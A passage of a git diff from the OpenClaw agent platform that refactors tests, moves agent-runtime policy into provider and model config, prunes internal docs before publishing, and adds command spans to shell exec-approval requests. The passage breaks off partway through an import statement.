a/extensions/whatsapp/src/auto-reply.web-auto-reply.connection-and-logging.e2e.test.ts +++ b/extensions/whatsapp/src/auto-reply.web-auto-reply.connection-and-logging.e2e.test.ts @@ -752,7 +752,7 @@ describe("web auto-reply connection", () => { spies, }); await sendWebDirectInboundMessage({ - onMessage: capturedOnMessage!, + onMessage: capturedOnMessage, body: "second", from: "+1", to: "+2", diff --git a/extensions/whatsapp/src/channel.setup.test.ts b/extensions/whatsapp/src/channel.setup.test.ts index 03773cb9fdc..b0669d2800c 100644 --- a/extensions/whatsapp/src/channel.setup.test.ts +++ b/extensions/whatsapp/src/channel.setup.test.ts @@ -183,10 +183,12 @@ describe("whatsapp setup wizard", () => { const prompt = harness.text.mock.calls[0]?.[0] as | { validate?: (value: string) => string | undefined } | undefined; - expect(prompt?.validate).toEqual(expect.any(Function)); - expect(prompt?.validate?.("abc")).toBe("Invalid number: abc"); - expect(prompt?.validate?.("whatsapp:")).toBe("Invalid number: whatsapp:"); - expect(prompt?.validate?.("+1 (555) 555-0123")).toBeUndefined(); + if (!prompt?.validate) { + throw new Error("expected owner number validator"); + } + expect(prompt.validate("abc")).toBe("Invalid number: abc"); + expect(prompt.validate("whatsapp:")).toBe("Invalid number: whatsapp:"); + expect(prompt.validate("+1 (555) 555-0123")).toBeUndefined(); }); it("supports disabled DM policy for separate-phone setup", async () => { diff --git a/extensions/whatsapp/src/system-prompt.test.ts b/extensions/whatsapp/src/system-prompt.test.ts index 55ee9765a5d..a225429df8c 100644 --- a/extensions/whatsapp/src/system-prompt.test.ts +++ b/extensions/whatsapp/src/system-prompt.test.ts @@ -4,6 +4,17 @@ import { resolveWhatsAppGroupSystemPrompt, } from "./system-prompt.js"; +type PromptEntry = { systemPrompt?: string | null }; +type PromptAccountConfig = { + direct?: Record; + groups?: Record; +}; +type PromptParams = { + accountConfig?: PromptAccountConfig | null; + groupId?: string | null; + peerId?: string | null; +}; + const promptSurfaceCases = [ { name: "group", @@ -25,20 +36,20 @@ const promptSurfaceCases = [ function createParams( surface: (typeof promptSurfaceCases)[number], - accountConfig?: unknown, + accountConfig?: PromptAccountConfig | null, targetId: string | null | undefined = surface.targetId, -) { +): PromptParams { return { [surface.targetKey]: targetId, accountConfig, - }; + } as PromptParams; } function createAccountConfig( surface: (typeof promptSurfaceCases)[number], - entries: Record, -) { - return { [surface.collectionKey]: entries }; + entries: Record, +): PromptAccountConfig { + return { [surface.collectionKey]: entries } as PromptAccountConfig; } describe("resolveWhatsAppSystemPrompt", () => { diff --git a/extensions/xai/image-generation-provider.test.ts b/extensions/xai/image-generation-provider.test.ts index d3c8731c57e..18e4eda8668 100644 --- a/extensions/xai/image-generation-provider.test.ts +++ b/extensions/xai/image-generation-provider.test.ts @@ -3,6 +3,7 @@ import { buildXaiImageGenerationProvider } from "./image-generation-provider.js" const { resolveApiKeyForProviderMock, + isProviderApiKeyConfiguredMock, postJsonRequestMock, postMultipartRequestMock, assertOkOrThrowHttpErrorMock, @@ -12,6 +13,7 @@ const { sanitizeConfiguredModelProviderRequestMock, } = vi.hoisted(() => ({ resolveApiKeyForProviderMock: vi.fn(async () => ({ apiKey: "xai-key" })), + isProviderApiKeyConfiguredMock: vi.fn(() => true), postJsonRequestMock: vi.fn(), postMultipartRequestMock: vi.fn(), assertOkOrThrowHttpErrorMock: vi.fn(async () => {}), @@ -35,6 +37,10 @@ vi.mock("openclaw/plugin-sdk/provider-auth-runtime", () => ({ resolveApiKeyForProvider: resolveApiKeyForProviderMock, })); +vi.mock("openclaw/plugin-sdk/provider-auth", () => ({ + isProviderApiKeyConfigured: isProviderApiKeyConfiguredMock, +})); + vi.mock("openclaw/plugin-sdk/provider-http", () => ({ assertOkOrThrowHttpError: assertOkOrThrowHttpErrorMock, createProviderOperationDeadline: createProviderOperationDeadlineMock, @@ -55,6 +61,7 @@ vi.mock("openclaw/plugin-sdk/text-runtime", () => ({ describe("xai image generation provider", () => { afterEach(() => { resolveApiKeyForProviderMock.mockClear(); + isProviderApiKeyConfiguredMock.mockClear(); postJsonRequestMock.mockReset(); assertOkOrThrowHttpErrorMock.mockClear(); resolveProviderHttpRequestConfigMock.mockClear(); @@ -82,8 +89,15 @@ describe("xai image generation provider", () => { ]); expect(provider.capabilities.edit.enabled).toBe(true); expect(provider.capabilities.edit.maxInputImages).toBe(5); - expect(provider.isConfigured).toEqual(expect.any(Function)); - expect(provider.generateImage).toEqual(expect.any(Function)); + const isConfigured = provider.isConfigured; + if (!isConfigured) { + throw new Error("expected XAI image provider config predicate"); + } + expect(isConfigured({ agentDir: "/tmp/openclaw-xai-test" })).toBe(true); + expect(isProviderApiKeyConfiguredMock).toHaveBeenCalledWith({ + provider: "xai", + agentDir: "/tmp/openclaw-xai-test", + }); }); it("uses main provider URL and resolves auth for generation", async () => { diff --git a/extensions/zalouser/src/send.test.ts b/extensions/zalouser/src/send.test.ts index 4614b785bdc..3904882dd21 100644 --- a/extensions/zalouser/src/send.test.ts +++ b/extensions/zalouser/src/send.test.ts @@ -174,7 +174,11 @@ describe("zalouser send helpers", () => { expect(formatted.text.length).toBeGreaterThan(2000); expect(mockSendText).toHaveBeenCalledTimes(2); expect(mockSendText.mock.calls.map((call) => call[1]).join("")).toBe(formatted.text); - expect(mockSendText.mock.calls.every((call) => call[1].length <= 2000)).toBe(true); + expect( + mockSendText.mock.calls + .map((call, index) => ({ index, length: call[1].length })) + .filter((call) => call.length > 2000), + ).toEqual([]); expect(result).toMatchObject({ ok: true, messageId: "mid-2c-2" }); }); diff --git a/packages/memory-host-sdk/src/host/embedding-chunk-limits.test.ts b/packages/memory-host-sdk/src/host/embedding-chunk-limits.test.ts index 733f98fe7b2..1e7afbd6416 100644 --- a/packages/memory-host-sdk/src/host/embedding-chunk-limits.test.ts +++ b/packages/memory-host-sdk/src/host/embedding-chunk-limits.test.ts @@ -25,6 +25,28 @@ function createProviderWithoutMaxInputTokens(params: { }; } +type EmbeddingChunks = ReturnType; + +function expectChunksWithinUtf8Bytes(chunks: EmbeddingChunks, maxBytes: number) { + const oversized = chunks + .map((chunk, index) => ({ index, bytes: estimateUtf8Bytes(chunk.text) })) + .filter((entry) => entry.bytes > maxBytes); + expect(oversized).toEqual([]); +} + +function expectChunksLineRange(chunks: EmbeddingChunks, startLine: number, endLine: number) { + expect(chunks.map((chunk) => ({ startLine: chunk.startLine, endLine: chunk.endLine }))).toEqual( + chunks.map(() => ({ startLine, endLine })), + ); +} + +function expectChunksHaveHashes(chunks: EmbeddingChunks) { + const invalidHashes = chunks + .map((chunk, index) => ({ index, hash: chunk.hash })) + .filter((entry) => typeof entry.hash !== "string" || entry.hash.length === 0); + expect(invalidHashes).toEqual([]); +} + describe("embedding chunk limits", () => { it("splits oversized chunks so each embedding input stays <= maxInputTokens bytes", () => { const provider = createProvider(8192); @@ -38,11 +60,9 @@ describe("embedding chunk limits", () => { const out = enforceEmbeddingMaxInputTokens(provider, [input]); expect(out.length).toBeGreaterThan(1); expect(out.map((chunk) => chunk.text).join("")).toBe(input.text); - expect(out.every((chunk) => estimateUtf8Bytes(chunk.text) <= 8192)).toBe(true); - expect(out.every((chunk) => chunk.startLine === 1 && chunk.endLine === 1)).toBe(true); - expect(out.every((chunk) => typeof chunk.hash === "string" && chunk.hash.length > 0)).toBe( - true, - ); + expectChunksWithinUtf8Bytes(out, 8192); + expectChunksLineRange(out, 1, 1); + expectChunksHaveHashes(out); }); it("does not split inside surrogate pairs (emoji)", () => { @@ -56,7 +76,7 @@ describe("embedding chunk limits", () => { expect(out.length).toBeGreaterThan(1); expect(out.map((chunk) => chunk.text).join("")).toBe(inputText); - expect(out.every((chunk) => estimateUtf8Bytes(chunk.text) <= 8192)).toBe(true); + expectChunksWithinUtf8Bytes(out, 8192); // If we split inside surrogate pairs we'd likely end up with replacement chars. expect(out.map((chunk) => chunk.text).join("")).not.toContain("\uFFFD"); @@ -78,7 +98,7 @@ describe("embedding chunk limits", () => { ]); expect(out.length).toBeGreaterThan(1); - expect(out.every((chunk) => estimateUtf8Bytes(chunk.text) <= 2048)).toBe(true); + expectChunksWithinUtf8Bytes(out, 2048); }); it("honors hard safety caps lower than provider maxInputTokens", () => { @@ -97,6 +117,6 @@ describe("embedding chunk limits", () => { ); expect(out.length).toBeGreaterThan(1); - expect(out.every((chunk) => estimateUtf8Bytes(chunk.text) <= 8000)).toBe(true); + expectChunksWithinUtf8Bytes(out, 8000); }); }); diff --git a/qa/convex-credential-broker/README.md b/qa/convex-credential-broker/README.md index f62d6dc3ae5..5d7c920b79e 100644 --- a/qa/convex-credential-broker/README.md +++ b/qa/convex-credential-broker/README.md @@ -1,6 +1,7 @@ # QA Convex Credential Broker (v1) Standalone Convex project for shared `qa-lab` live credentials with lease locking. +Keep private operator notes in `~/Projects/manager/docs/`, not in public docs. This broker exposes: @@ -152,6 +153,17 @@ For `kind: "discord"`, broker `admin/add` validates that payload includes: - non-empty `sutBotToken` - `sutApplicationId` as a Discord snowflake string +For `kind: "whatsapp"`, broker `admin/add` validates that payload includes: + +- `driverPhoneE164` as an E.164 phone number string +- `sutPhoneE164` as a distinct E.164 phone number string +- non-empty `driverAuthArchiveBase64` +- non-empty `sutAuthArchiveBase64` +- optional `groupJid` + +Other kinds are currently accepted as pass-through payloads. Add broker-side +validation before treating a new kind as a hardened shared pool. + Admin list (default redacted): ```bash diff --git a/scripts/docs-sync-publish.mjs b/scripts/docs-sync-publish.mjs index 63a3f69aa71..f88bc7a80b8 100644 --- a/scripts/docs-sync-publish.mjs +++ b/scripts/docs-sync-publish.mjs @@ -10,6 +10,7 @@ const HERE = path.dirname(fileURLToPath(import.meta.url)); const ROOT = path.resolve(HERE, ".."); const SOURCE_DOCS_DIR = path.join(ROOT, "docs"); const SOURCE_CONFIG_PATH = path.join(SOURCE_DOCS_DIR, "docs.json"); +const INTERNAL_DOCS_DIRS = ["internal"]; const DEFAULT_CLAWHUB_SOURCE_REPO = "openclaw/clawhub"; const CLAWHUB_DOCS_TARGET_DIR = "clawhub"; const CLAWHUB_REPO_ENV = "OPENCLAW_DOCS_SYNC_CLAWHUB_REPO"; @@ -458,6 +459,22 @@ function repairGeneratedLocaleDocs(targetDocsDir) { } } +function pruneInternalDocs(targetDocsDir) { + let pruned = 0; + for (const relativeDir of INTERNAL_DOCS_DIRS) { + const dirPath = path.join(targetDocsDir, relativeDir); + if (!fs.existsSync(dirPath)) { + continue; + } + fs.rmSync(dirPath, { recursive: true, force: true }); + pruned += 1; + } + + if (pruned > 0) { + console.log(`Pruned ${pruned} internal-only docs director${pruned === 1 ? "y" : "ies"}.`); + } +} + function shouldExcludeClawHubDocsPath(relativePath) { const normalized = normalizeSlashes(relativePath); return ( @@ -642,10 +659,12 @@ function syncDocsTree(targetRoot, options = {}) { "P .i18n/README.md", "--exclude", ".i18n/README.md", + ...INTERNAL_DOCS_DIRS.flatMap((dir) => ["--exclude", `${dir}/`]), ...localeFilters, `${SOURCE_DOCS_DIR}/`, `${targetDocsDir}/`, ]); + pruneInternalDocs(targetDocsDir); for (const locale of GENERATED_LOCALES) { const sourceTmPath = path.join(SOURCE_DOCS_DIR, ".i18n", locale.tmFile); diff --git a/src/acp/translator.lifecycle.test.ts b/src/acp/translator.lifecycle.test.ts index 5b8db539a07..3d8c13df641 100644 --- a/src/acp/translator.lifecycle.test.ts +++ b/src/acp/translator.lifecycle.test.ts @@ -186,12 +186,13 @@ describe("acp translator stable lifecycle handlers", () => { "agent:main:a1", "agent:main:a2", ]); - expect(first.sessions.every((session) => session.cwd === "/work/a")).toBe(true); + expect(first.sessions.map((session) => session.cwd)).toEqual(["/work/a", "/work/a"]); expect(first.nextCursor).toEqual(expect.any(String)); expect(second.sessions.map((session) => session.sessionId)).toEqual([ "agent:main:a3", "agent:main:a4", ]); + expect(second.sessions.map((session) => session.cwd)).toEqual(["/work/a", "/work/a"]); expect(second.nextCursor).toBeNull(); expect(request).toHaveBeenNthCalledWith(1, "sessions.list", { limit: 3, @@ -225,7 +226,7 @@ describe("acp translator stable lifecycle handlers", () => { const result = await agent.listSessions(createListSessionsRequest({ cwd: "/work/a" })); expect(result.sessions.map((session) => session.sessionId)).toEqual(["agent:main:a1"]); - expect(result.sessions.every((session) => session.cwd === "/work/a")).toBe(true); + expect(result.sessions.map((session) => session.cwd)).toEqual(["/work/a"]); sessionStore.clearAllSessionsForTest(); }); diff --git a/src/agents/agent-command.ts b/src/agents/agent-command.ts index f9f08b1052c..62b4a5d45b7 100644 --- a/src/agents/agent-command.ts +++ b/src/agents/agent-command.ts @@ -845,8 +845,6 @@ async function agentCommandInternal( const acceptedAuthProviders = listOpenAIAuthProfileProvidersForAgentRuntime({ provider: providerForAuthProfileValidation, harnessRuntime: validationHarnessPolicy.runtime, - sessionAgentHarnessId: sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: sessionEntry.agentRuntimeOverride, }).map((candidateProvider) => resolveProviderIdForAuth(candidateProvider, { config: cfg, workspaceDir }), ); diff --git a/src/agents/agent-runtime-metadata.ts b/src/agents/agent-runtime-metadata.ts index f3f1e6ff8c2..68b0d328add 100644 --- a/src/agents/agent-runtime-metadata.ts +++ b/src/agents/agent-runtime-metadata.ts @@ -1,61 +1,43 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeAgentId } from "../routing/session-key.js"; -import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; -import { listAgentEntries } from "./agent-scope.js"; -import { - normalizeEmbeddedAgentRuntime, - type EmbeddedAgentRuntime, -} from "./pi-embedded-runner/runtime.js"; +import { resolveAgentHarnessPolicy } from "./harness/policy.js"; +import { resolveDefaultModelForAgent } from "./model-selection.js"; type AgentRuntimeMetadata = { id: string; - source: "env" | "agent" | "defaults" | "implicit"; + source: "implicit" | "model" | "provider"; }; -function normalizeRuntimeValue(value: unknown): EmbeddedAgentRuntime | undefined { - const normalized = typeof value === "string" ? normalizeLowercaseStringOrEmpty(value) : ""; - return normalized ? normalizeEmbeddedAgentRuntime(normalized) : undefined; -} - export function resolveAgentRuntimeMetadata( - cfg: OpenClawConfig, - agentId: string, - env: NodeJS.ProcessEnv = process.env, + _cfg: OpenClawConfig, + _agentId: string, + _env: NodeJS.ProcessEnv = process.env, ): AgentRuntimeMetadata { - const envRuntime = normalizeRuntimeValue(env.OPENCLAW_AGENT_RUNTIME); - const normalizedAgentId = normalizeAgentId(agentId); - const agentEntry = listAgentEntries(cfg).find( - (entry) => normalizeAgentId(entry.id) === normalizedAgentId, - ); - const agentPolicy = resolveAgentRuntimePolicy(agentEntry); - const defaultsPolicy = resolveAgentRuntimePolicy(cfg.agents?.defaults); - - if (envRuntime) { - return { - id: envRuntime, - source: "env", - }; - } - - const agentRuntime = normalizeRuntimeValue(agentPolicy?.id); - if (agentRuntime) { - return { - id: agentRuntime, - source: "agent", - }; - } - - const defaultsRuntime = normalizeRuntimeValue(defaultsPolicy?.id); - if (defaultsRuntime) { - return { - id: defaultsRuntime, - source: "defaults", - }; - } - return { - id: "pi", + id: "auto", source: "implicit", }; } + +export function resolveModelAgentRuntimeMetadata(params: { + cfg: OpenClawConfig; + agentId: string; + provider?: string; + model?: string; + sessionKey?: string; +}): AgentRuntimeMetadata { + const resolved = + params.provider && params.model + ? { provider: params.provider, model: params.model } + : resolveDefaultModelForAgent({ cfg: params.cfg, agentId: params.agentId }); + const policy = resolveAgentHarnessPolicy({ + provider: resolved.provider, + modelId: resolved.model, + config: params.cfg, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + return { + id: policy.runtime, + source: policy.runtimeSource ?? "implicit", + }; +} diff --git a/src/agents/agent-runtime-policy.ts b/src/agents/agent-runtime-policy.ts deleted file mode 100644 index de49c16394f..00000000000 --- a/src/agents/agent-runtime-policy.ts +++ /dev/null @@ -1,19 +0,0 @@ -import type { AgentRuntimePolicyConfig } from "../config/types.agents-shared.js"; - -type AgentRuntimePolicyContainer = { - agentRuntime?: AgentRuntimePolicyConfig; -}; - -export function resolveAgentRuntimePolicy( - container: AgentRuntimePolicyContainer | undefined, -): AgentRuntimePolicyConfig | undefined { - const preferred = container?.agentRuntime; - if (hasAgentRuntimePolicy(preferred)) { - return preferred; - } - return undefined; -} - -function hasAgentRuntimePolicy(value: AgentRuntimePolicyConfig | undefined): boolean { - return Boolean(value?.id?.trim()); -} diff --git a/src/agents/auth-profile-runtime-contract.test.ts b/src/agents/auth-profile-runtime-contract.test.ts index a57398f00e6..ad0b6b9b6d4 100644 --- a/src/agents/auth-profile-runtime-contract.test.ts +++ b/src/agents/auth-profile-runtime-contract.test.ts @@ -124,6 +124,20 @@ function makeEmbeddedResult(text: string): EmbeddedPiRunResult { }; } +function providerRuntimeConfig(provider: string, runtime: string): OpenClawConfig { + return { + models: { + providers: { + [provider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: runtime }, + models: [], + }, + }, + }, + } as OpenClawConfig; +} + async function runAuthContractAttempt(params: { tmpDir: string; storePath: string; @@ -301,9 +315,13 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, + models: { + providers: { + [AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider]: { + baseUrl: "https://api.openclaw.test/v1", + agentRuntime: { id: "codex" }, + models: [], + }, }, }, } as OpenClawConfig, @@ -355,19 +373,12 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ provider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, - agentHarnessId: "pi", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProfileId, }); }); @@ -383,7 +394,6 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -395,19 +405,12 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "pi" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "pi"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ provider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, - agentHarnessId: "pi", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -419,18 +422,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.codexHarnessProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.codexHarnessProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -442,18 +438,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { providerOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, - cfg: { - agents: { - defaults: { - agentRuntime: { id: "codex" }, - }, - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); @@ -466,21 +455,11 @@ describe("Auth profile runtime contract - Pi and CLI adapter", () => { authProfileProvider: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProvider, authProfileOverride: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, sessionHasHistory: true, - cfg: { - agents: { - list: [ - { - id: "main", - agentRuntime: { id: "codex" }, - }, - ], - }, - } as OpenClawConfig, + cfg: providerRuntimeConfig(AUTH_PROFILE_RUNTIME_CONTRACT.openAiProvider, "codex"), }); expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); expect(runEmbeddedPiAgentMock.mock.calls[0]?.[0]).toMatchObject({ - agentHarnessId: "codex", authProfileId: AUTH_PROFILE_RUNTIME_CONTRACT.openAiCodexProfileId, }); }); diff --git a/src/agents/auth-profiles.external-cli-scope.test.ts b/src/agents/auth-profiles.external-cli-scope.test.ts index e2f064356b0..dda56ae74fd 100644 --- a/src/agents/auth-profiles.external-cli-scope.test.ts +++ b/src/agents/auth-profiles.external-cli-scope.test.ts @@ -62,7 +62,9 @@ describe("external CLI auth scope", () => { { id: "worker", model: "opencode-go/kimi-k2.6", - agentRuntime: { id: "codex-app-server" }, + models: { + "opencode-go/kimi-k2.6": { agentRuntime: { id: "codex-app-server" } }, + }, subagents: { model: { primary: "z.ai/glm-4.7" } }, }, ], @@ -92,10 +94,12 @@ describe("external CLI auth scope", () => { agents: { defaults: { model: "openai/gpt-5.5", - agentRuntime: { id: "claude-cli" }, cliBackends: { "claude-cli": { command: "claude" }, }, + models: { + "openai/gpt-5.5": { agentRuntime: { id: "claude-cli" } }, + }, }, }, }); diff --git a/src/agents/auth-profiles/external-cli-scope.ts b/src/agents/auth-profiles/external-cli-scope.ts index 3ab0158c845..62796b0ac3a 100644 --- a/src/agents/auth-profiles/external-cli-scope.ts +++ b/src/agents/auth-profiles/external-cli-scope.ts @@ -58,6 +58,15 @@ function addExternalCliRuntimeScope(out: Set, value: string | undefined) } } +function addExternalCliRuntimeScopeFromModelMap( + out: Set, + models: Record | undefined, +): void { + for (const entry of Object.values(models ?? {})) { + addExternalCliRuntimeScope(out, entry?.agentRuntime?.id); + } +} + export function resolveExternalCliAuthScopeFromConfig( cfg: OpenClawConfig, ): ExternalCliAuthScope | undefined { @@ -91,14 +100,18 @@ export function resolveExternalCliAuthScopeFromConfig( addProviderScopeFromModelConfig(providerIds, defaults?.videoGenerationModel); addProviderScopeFromModelConfig(providerIds, defaults?.musicGenerationModel); addProviderScopeFromModelConfig(providerIds, defaults?.pdfModel); - addExternalCliRuntimeScope(providerIds, defaults?.agentRuntime?.id); - addExternalCliRuntimeScope(providerIds, defaults?.embeddedHarness?.runtime); + addExternalCliRuntimeScopeFromModelMap(providerIds, defaults?.models); + for (const provider of Object.values(cfg.models?.providers ?? {})) { + addExternalCliRuntimeScope(providerIds, provider?.agentRuntime?.id); + for (const model of provider?.models ?? []) { + addExternalCliRuntimeScope(providerIds, model?.agentRuntime?.id); + } + } for (const agent of cfg.agents?.list ?? []) { addProviderScopeFromModelConfig(providerIds, agent.model); addProviderScopeFromModelConfig(providerIds, agent.subagents?.model); - addExternalCliRuntimeScope(providerIds, agent.agentRuntime?.id); - addExternalCliRuntimeScope(providerIds, agent.embeddedHarness?.runtime); + addExternalCliRuntimeScopeFromModelMap(providerIds, agent.models); } if (providerIds.size === 0 && profileIds.size === 0) { diff --git a/src/agents/bash-tools.exec-approval-request.runtime.ts b/src/agents/bash-tools.exec-approval-request.runtime.ts new file mode 100644 index 00000000000..984268c59a4 --- /dev/null +++ b/src/agents/bash-tools.exec-approval-request.runtime.ts @@ -0,0 +1,10 @@ +import { explainShellCommand, formatCommandSpans } from "../infra/command-explainer/index.js"; +import type { ExecApprovalCommandSpan } from "../infra/exec-approvals.js"; + +export async function resolveExecApprovalCommandSpans( + command: string, +): Promise { + const explanation = await explainShellCommand(command); + const commandSpans = formatCommandSpans(explanation); + return commandSpans.length > 0 ? commandSpans : undefined; +} diff --git a/src/agents/bash-tools.exec-approval-request.test.ts b/src/agents/bash-tools.exec-approval-request.test.ts index 7911b9bdf2b..1023da5d7de 100644 --- a/src/agents/bash-tools.exec-approval-request.test.ts +++ b/src/agents/bash-tools.exec-approval-request.test.ts @@ -4,21 +4,53 @@ import { DEFAULT_APPROVAL_TIMEOUT_MS, } from "./bash-tools.exec-runtime.js"; +const commandExplainerMock = vi.hoisted(() => ({ + importCount: 0, + explainShellCommand: vi.fn(async (command: string): Promise => command), + formatCommandSpans: vi.fn((command: string) => { + if (command.startsWith("node ")) { + return [{ startIndex: 0, endIndex: 4 }]; + } + return [ + { startIndex: 0, endIndex: 2 }, + { startIndex: 0, endIndex: 4 }, + { startIndex: 5, endIndex: 9 }, + { startIndex: 20, endIndex: 26 }, + ]; + }), +})); + +vi.mock("../infra/command-explainer/index.js", () => { + commandExplainerMock.importCount += 1; + return { + explainShellCommand: commandExplainerMock.explainShellCommand, + formatCommandSpans: commandExplainerMock.formatCommandSpans, + }; +}); + vi.mock("./tools/gateway.js", () => ({ callGatewayTool: vi.fn(), })); let callGatewayTool: typeof import("./tools/gateway.js").callGatewayTool; let requestExecApprovalDecision: typeof import("./bash-tools.exec-approval-request.js").requestExecApprovalDecision; +let registerExecApprovalRequestForHost: typeof import("./bash-tools.exec-approval-request.js").registerExecApprovalRequestForHost; describe("requestExecApprovalDecision", () => { beforeAll(async () => { ({ callGatewayTool } = await import("./tools/gateway.js")); - ({ requestExecApprovalDecision } = await import("./bash-tools.exec-approval-request.js")); + ({ requestExecApprovalDecision, registerExecApprovalRequestForHost } = + await import("./bash-tools.exec-approval-request.js")); }); beforeEach(() => { vi.mocked(callGatewayTool).mockClear(); + commandExplainerMock.explainShellCommand.mockClear(); + commandExplainerMock.formatCommandSpans.mockClear(); + }); + + it("does not load the command explainer when importing approval requests", () => { + expect(commandExplainerMock.importCount).toBe(0); }); it("returns string decisions", async () => { @@ -174,4 +206,79 @@ describe("requestExecApprovalDecision", () => { expect(result).toBe("deny"); expect(vi.mocked(callGatewayTool).mock.calls).toHaveLength(1); }); + + it("adds command spans to host approval registration payloads", async () => { + vi.mocked(callGatewayTool).mockResolvedValue({ id: "approval-id", expiresAtMs: 1234 }); + + await registerExecApprovalRequestForHost({ + approvalId: "approval-id", + command: 'ls | grep "stuff" | python -c \'print("hi")\'', + workdir: "/tmp/project", + host: "node", + security: "allowlist", + ask: "always", + }); + + expect(callGatewayTool).toHaveBeenCalledWith( + "exec.approval.request", + expect.anything(), + expect.objectContaining({ + commandSpans: expect.arrayContaining([ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 9 }, + { startIndex: 20, endIndex: 26 }, + ]), + }), + expect.anything(), + ); + }); + + it("uses system run plan command text for host approval explanations", async () => { + vi.mocked(callGatewayTool).mockResolvedValue({ id: "approval-id", expiresAtMs: 1234 }); + + await registerExecApprovalRequestForHost({ + approvalId: "approval-id", + systemRunPlan: { + argv: ["node", "-e", "console.log(1)"], + cwd: "/tmp/project", + commandText: 'node -e "console.log(1)"', + agentId: null, + sessionKey: null, + }, + workdir: "/tmp/project", + host: "node", + security: "allowlist", + ask: "always", + }); + + expect(callGatewayTool).toHaveBeenCalledWith( + "exec.approval.request", + expect.anything(), + expect.objectContaining({ + commandSpans: expect.arrayContaining([{ startIndex: 0, endIndex: 4 }]), + }), + expect.anything(), + ); + }); + + it("keeps explicit command spans", async () => { + vi.mocked(callGatewayTool).mockResolvedValue({ id: "approval-id", expiresAtMs: 1234 }); + + await registerExecApprovalRequestForHost({ + approvalId: "approval-id", + command: "echo hi", + commandSpans: [{ startIndex: 0, endIndex: 4 }], + workdir: "/tmp/project", + host: "node", + security: "allowlist", + ask: "always", + }); + + expect(callGatewayTool).toHaveBeenCalledWith( + "exec.approval.request", + expect.anything(), + expect.objectContaining({ commandSpans: [{ startIndex: 0, endIndex: 4 }] }), + expect.anything(), + ); + }); }); diff --git a/src/agents/bash-tools.exec-approval-request.ts b/src/agents/bash-tools.exec-approval-request.ts index bb49d42743a..2e8883585f3 100644 --- a/src/agents/bash-tools.exec-approval-request.ts +++ b/src/agents/bash-tools.exec-approval-request.ts @@ -1,4 +1,9 @@ -import type { ExecAsk, ExecSecurity, SystemRunApprovalPlan } from "../infra/exec-approvals.js"; +import type { + ExecApprovalCommandSpan, + ExecAsk, + ExecSecurity, + SystemRunApprovalPlan, +} from 